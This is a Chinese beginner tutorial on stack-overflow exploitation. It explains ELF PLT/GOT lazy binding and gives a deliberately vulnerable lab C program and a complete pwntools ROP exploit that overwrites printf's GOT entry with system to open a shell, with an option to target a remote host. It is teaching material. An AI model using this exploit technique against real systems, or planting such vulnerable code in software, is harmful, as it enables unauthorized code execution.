前言
栈溢出学习(四),讲述Hijack GOT的基本原理及其利用ROPchain实现Hijack GOT的方法
- 系列文章
栈溢出学习(一)之利用预留后门 & return2shellcode
栈溢出学习(二)之 jmp esp & return2libc
栈溢出学习(三)之简单ROP
栈溢出学习(四)之Hijack GOT - 本文属于新手实验难度,过程比较详细,适合新手学习
样例代码
本文使用的代码如下
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/*
* compiled with:
* gcc -O0 -fno-stack-protector -no-pie -z execstack -m32 -g -o lab0 lab0.c
优化等级 关闭canary 关闭地址随机化 关闭NX 生成32位程序
*/
void shell()//backdoor
{
printf("You got it\n");
system("/bin/sh");
}
void hello(char* name)
{
char buf[20];
strcpy(buf,name);
puts("hello!!!");
printf("i am %s ",buf);
}
void main(int argc,char** argv)
{
setbuf(stdin,NULL);
setbuf(stdout,NULL);
char buf[100];
puts("*****************************************");
puts("PWN,hello world!");
gets(buf);
hello(buf);
}
0x06 Hijack GOT
- 当前环境:未开启优化,关闭canary,关闭地址随机化,32位程序
- 目标:修改某个被调用函数的地址,让其指向另一个函数
一、原理
参考《程序员的自我修养——链接、装载与库》200页,延迟绑定(PLT)
对于使用动态链接编译的程序,将会应用PLT技术,对于全局和静态的数据访问都要进行复杂的GOT定位,然后间接寻址。
可以想象一下,一个程序运行过程中,可能很多函数在程序执行完时都不会被用到,比如一些错误处理函数或者是一些用户很少用到的功能模块等,如果一开始就把所有函数都链接好实际上是一种浪费。因此ELF采用了一种叫做延迟綁定(Lazy Binding)的做法,基本的思想就是当函数第一次被用到时才进行绑定(符号査找、重定位等),如果没有用到则不进行绑定。所以程序开始执行时,模块间的函数调用都没有进行绑定,而是需要用到时才由动态链接器来负责绑定。
(1)PLT的基本原理
当我们第一次调用某个外部模块的函数时,会进入到bar@plt结构,我们来看看这个结构的伪汇编代码
bar@plt:
jmp * (bar@got)
push n
push moduleID
jump _dl_runtime_resolve
进入到bar@plt后,我们来到第一条指令,此时因为为了实现延迟绑定,链接器在初始化阶段并没有将bar()的地址填入到bar@got
中,而是将上面代码中第二条指令push n
的地址填入到bar@got
中。这样一来,相当于第一条指令jmp * (bar@got)
什么也没干。
来到第二条指令push n
,这个数字n
是bar
这个符号引用在重定位表.rel.plt
中的下标
第三条指令push moduleID
,这个moduleID
则是bar
所在模块的ID号
第四条指令jump _dl_runtime_resolve
,相当于call _dl_runtime_resolve
。
显然这三条指令就是做了一个函数调用 _dl_runtime_resolve(moduleID,n)
,通过这个函数我们就可以查找到bar
的真实地址,并将真实的地址存放到bar@got
中。之后,程序再次回到第一条指令处jmp * (bar@got)
,因为这时候bar@got
中已经存放了bar
真实地址,因此会跳转到bar()
函数,完成我们的调用过程。
大致调用过程如下图所示。
当我们第二次调用某个外部模块的函数时,由于bar@got
中已经有了bar()
的真实地址,因此这个时候就可以顺利完成跳转,不需要调用_dl_runtime_resolve()
查找地址,大致调用过程如下图所示。
在实现中的PLT结构
在实现中,PLT的结构与我们上面PLT基本原理有些许区别。
ELF将GOT拆分成两个表叫做.got
和.got.plt
,其中
.got
保存全局变量引用的地址.got.plt
保存函数引用的地址
也就是bar@got
在.got.plt
中
PLT基本结构如下图,.got.plt
前三项保存的分别是.dynamic
的地址,本模块ID
,_dl_runtime_resolve
地址
实际的PLT基本结构代码如下,由上图可知*(GOT + 4)
存放的是moduleID
,*(GOT + 8)
存放的是_dl_runtime_resolve
地址,这样一来,相当于每个函数@plt都节省了两条指令
PLT0:
push *(GOT + 4)
jump *(GOT + 8)
...
bar@plt:
jmp *(bar@GOT)
push n
jump PLT0
IDA中的PLT结构
对应着上面的理论很简单可以看懂了,不再赘述
- plt
- got.plt
(2)Hijack GOT基本原理
本文将介绍如何使用ROPchain来实现Hijcak GOT
根据上一部分的讲述,我们知道每次调用外部函数,我们必定会到GOT表中查询外部函数的真实地址,那么如果我们能将GOT中外部函数的地址修改为我们的目标函数,就可以实现任意函数执行的效果。
所以说,Hijack GOT需要以下两个基本条件:
- 需要可以实现任意地址写的函数
- 需要程序在完成GOT表修改后能够执行被我们修改的函数
下面来分析我们的源代码,为了方便,就不展示后门函数部分了
显然,程序中有gets
函数可供我们完成got表的修改。那么我们修改什么函数呢?其实在当前的题目环境下,不需要考虑,我们任意选一个,选printf
函数。我们可以这样布局栈空间
照例padding到ret之前,放入gets@plt
,即调用gets函数,参数设为printf@got.plt
即gets(printf@got.plt)
,将用户输入的值放到这个地址,实现Hijach GOT,在这里我们放入system()
的地址即可,在完成这个操作后,调用printf@plt
等价于调用system()
之后调用printf@plt
,即system("/bin/sh")
最终获取系统权限
二、exp
成功截图
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2020-03-27 22:32:52
# @Author : Pz_mstr
# @Version : python3
# @use : exp for hijack GOT
from pwn import *
import sys
def trans(s):
return "b'%s'" % ''.join('\\x%.2x' % x for x in s)
debug = True
binary = './lab0'
libc_name = '/home/Pz_mstr/libc/libc2.23x86'
bin = ELF(binary)
libc = ELF(libc_name)
if len(sys.argv) > 1:
# ip port
io = remote(sys.argv[1],int(sys.argv[2]))
else:
#io = process([binary],env={'LD_PRELOAD':libc_name})
io = process(binary)
if debug:
context.log_level = 'debug'
io.recvuntil('world!')
padding1 = b'a'*32
gets_plt = bin.plt["gets"]
printf_got = bin.got["printf"]
printf_plt = bin.plt["printf"]
pop_ret = 0xf7e29f97
system_addr = bin.sym["system"]
bin_sh_addr = 0x80486cb
hijack = p32(system_addr)
rop = padding1
rop += p32(gets_plt)
rop += p32(pop_ret)
rop += p32(printf_got)
rop += p32(printf_plt)
rop += p32(0xdeadbeef)
rop += p32(bin_sh_addr)
io.sendline(rop)
io.sendline(hijack)
io.interactive()
总结
本文介绍了未开启保护情况下如何利用ROPchain实现Hijack GOT栈溢出攻击